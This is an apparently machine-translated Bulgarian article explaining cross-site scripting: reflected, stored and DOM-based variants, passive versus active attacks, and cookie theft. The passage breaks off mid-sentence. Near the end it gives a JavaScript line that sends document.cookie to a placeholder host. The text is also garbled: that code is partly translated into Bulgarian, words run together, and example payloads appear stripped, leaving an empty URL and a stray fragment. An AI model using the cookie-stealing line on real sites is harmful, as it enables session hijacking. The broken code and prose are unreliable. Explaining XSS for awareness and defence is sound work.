Междусайтовият скрипт (накратко XSS) е широко разпространена уязвимост, засягаща много уеб приложения. Позволява на нападателя да инжектира зловреден кодкъм уебсайт по такъв начин, че браузърът на потребителя, посещаващ сайта, ще изпълни този код.

Обикновено, за да се използва такава уязвимост, е необходимо известно взаимодействие с потребителя: или потребителят е привлечен към заразения сайт чрез социално инженерство, или просто изчакайте, докато той посети този сайт. Поради това разработчиците често не приемат XSS уязвимостите на сериозно.

Но ако не бъдат елиминирани, това може да представлява сериозен риск за сигурността.

Представете си, че сме в админ панела на WordPress, добавяме ново съдържание. Ако използваме XSS-уязвим плъгин, за да направим това, той може да принуди браузъра да създаде нов администратор, да промени съдържанието и да извърши други злонамерени действия. Скриптирането между сайтове дава на атакуващия почти пълен контрол върху най-важните софтуерв наши дни това е браузър.

XSS: Уязвимост при инжектиране

Всеки уебсайт или приложение има множество точки за въвеждане на данни - полета на формуляра до самия URL адрес. Най-простият пример за въвеждане е, когато въвеждаме потребителско име и парола във формуляр:

Нашето име ще бъде съхранено в базата данни на сайта за последващо взаимодействие с нас. Със сигурност, когато сте били упълномощени на който и да е сайт, сте видели личен поздрав в стила на „Добре дошъл, Иля“.

Именно за такива цели потребителските имена се съхраняват в базата данни.

Инжектирането е процедура, при която се въвежда специална последователност от знаци вместо име или парола, принуждавайки сървъра или браузъра да реагира по определен начин, който е необходим на атакуващия.

Междусайтовият скрипт е инжекция, която инжектира код, който ще извършва действия в браузъра от името на уебсайт. Това може да се случи както с уведомлението на потребителя, така и във фонов режим, без негово знание.

Традиционни XSS атаки:

Отразени (непостоянни).

Отразена XSS атака се задейства, когато потребител щракне върху специално създадена връзка.

Тези уязвимости възникват, когато данни, предоставени от уеб клиент, най-често в параметри на HTTP заявка или HTML форма, се изпълняват директно от скриптове от страна на сървъра за анализиране и показване на страницата с резултати за този клиент, без подходяща обработка.

Съхранява се (постоянно).

Съхраненият XSS е възможен, когато атакуващ успее да инжектира злонамерен код в сървър, който се изпълнява в браузъра всеки път, когато се осъществи достъп до оригиналната страница. Класически пример за тази уязвимост са форумите, които позволяват коментари в HTML формат.

Уязвимости, причинени от код от страна на клиента (JavaScript, Visual Basic, Flash и др.):

Също известен като DOM модели:

Отразени (непостоянни).

Същото като в случая със сървърната страна, само че в този случай атаката е възможна поради факта, че кодът се обработва от браузъра.

Съхранява се (постоянно).

Подобно на съхранения XSS от страната на сървъра, само че в този случай злонамереният компонент се съхранява от страната на клиента, използвайки хранилището на браузъра.

Примери за XSS уязвимости.

Интересното е, че в повечето случаи, когато тази уязвимост е описана, ние се плашим със следния код:

http://www.site.com/page.php?var=

Има два вида XSS уязвимости – пасивни и активни.

Активна уязвимостпо-опасно, тъй като нападателят не трябва да примамва жертвата чрез специална връзка, той просто трябва да инжектира кода в базата данни или някакъв файл на сървъра. Така всички посетители на сайта автоматично стават жертви. Може да се интегрира, например, с помощта на SQL инжекция (SQL инжекция). Следователно не трябва да се доверявате на данните, съхранявани в базата данни, дори ако са били обработени по време на вмъкване.

Пример пасивна уязвимостможете да намерите в самото начало на статията. Тук вече е необходимо социално инженерство, например важно писмо от администрацията на сайта с искане да проверите настройките на акаунта си след възстановяване от резервно копие. Съответно, трябва да знаете адреса на жертвата или просто да организирате пощенски списък със спам или да публикувате в някакъв форум и дори не е факт, че жертвите ще бъдат наивни и ще последват вашата връзка.

Освен това параметрите POST и GET могат да бъдат обект на пасивна уязвимост. С POST параметрите, разбира се, трябва да използвате трикове. Например пренасочване от сайт на атакуващ.

">

Следователно уязвимостта на GET е малко по-опасна, т.к за жертвата е по-лесно да забележи грешния домейн, отколкото допълнителен параметър(въпреки че URL адресът изобщо може да бъде кодиран).

Кражба на бисквитки

Това е най-често цитираният пример за XSS атака. Сайтовете понякога съхраняват ценна информация в бисквитки (понякога дори данните за вход и парола на потребителя (или неговия хеш), но най-опасното е кражбата на активната сесия, така че не забравяйте да щракнете върху връзката „Изход“ на сайтовете, дори ако е домашен компютър. За щастие, на повечето ресурси продължителността на сесията е ограничена.

Varimg = ново изображение(); img.src = "http://site/xss.php?" +document.cookie;

Затова въведохме ограничения на домейни за XMLHttpRequest, но това не е страшно за нападателя, тъй като има